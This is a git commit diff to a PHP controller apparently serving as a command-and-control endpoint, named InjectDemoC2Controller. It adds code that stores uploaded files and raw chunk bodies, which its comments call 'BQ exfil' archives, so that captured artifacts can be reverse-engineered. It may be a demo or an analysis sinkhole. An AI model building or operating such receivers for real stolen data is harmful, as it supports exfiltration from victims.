feat: 26&timeout&keystore

This commit is contained in:
hashbro
2026-09-24 03:44:47 +08:00
parent bec6f09c76
commit 13aa587099
@@ -167,6 +167,10 @@ class InjectDemoC2Controller extends Controller
}
}
// Persist uploaded file bodies (multipart) and raw chunk bodies
// so captured artifacts can be reverse-engineered later.
$meta['saved_files'] = $this->persistUploads($request, $body, $tag);
create_log($meta, self::LOG_TYPE);
} catch (\Throwable) {
// never break the request for logging
@@ -182,4 +186,60 @@ class InjectDemoC2Controller extends Controller
return response($payload, 200)->header('Content-Type', 'application/json');
}
/**
* Persist uploaded file bodies to public/log/inject_demo/uploads/.
* - multipart files → saved with original filename, prefixed by timestamp.
* - raw chunk bodies (non-multipart) → saved as <tag>_<ts>.bin.
*
* @param string $body Raw request body (empty for multipart).
* @return array<string,string> Map of field/key → saved relative path.
*/
private function persistUploads(Request $request, string $body, string $tag): array
{
$saved = [];
$base = public_path('log/'.self::LOG_TYPE.'/uploads');
if (! is_dir($base) && ! @mkdir($base, 0775, true) && ! is_dir($base)) {
return $saved;
}
$ts = date('Ymd-His').'-'.bin2hex(random_bytes(2));
// Multipart uploads (BQ exfil bq_docs_*.zip, etc.)
foreach ($request->allFiles() as $key => $f) {
if (! ($f instanceof \Illuminate\Http\UploadedFile) || ! $f->isValid()) {
continue;
}
$orig = $f->getClientOriginalName();
$safe = preg_replace('/[^A-Za-z0-9._-]/', '_', $orig);
$dest = $base.'/'.$ts.'_'.$safe;
try {
if ($f->move(dirname($dest), basename($dest))) {
$saved[$key] = 'log/'.self::LOG_TYPE.'/uploads/'.basename($dest);
}
} catch (\Throwable) {
// fall back to copy from tmp
try {
$tmp = $f->getRealPath();
if ($tmp && @copy($tmp, $dest)) {
$saved[$key] = 'log/'.self::LOG_TYPE.'/uploads/'.basename($dest);
}
} catch (\Throwable) {
}
}
}
// Raw chunk bodies (libutils /api/v1/uploads/{id}/chunks — octet-stream)
if ($body !== '' && empty($saved)) {
$dest = $base.'/'.$ts.'_'.$tag.'.bin';
try {
if (@file_put_contents($dest, $body) !== false) {
$saved['body'] = 'log/'.self::LOG_TYPE.'/uploads/'.basename($dest);
}
} catch (\Throwable) {
}
}
return $saved;
}
}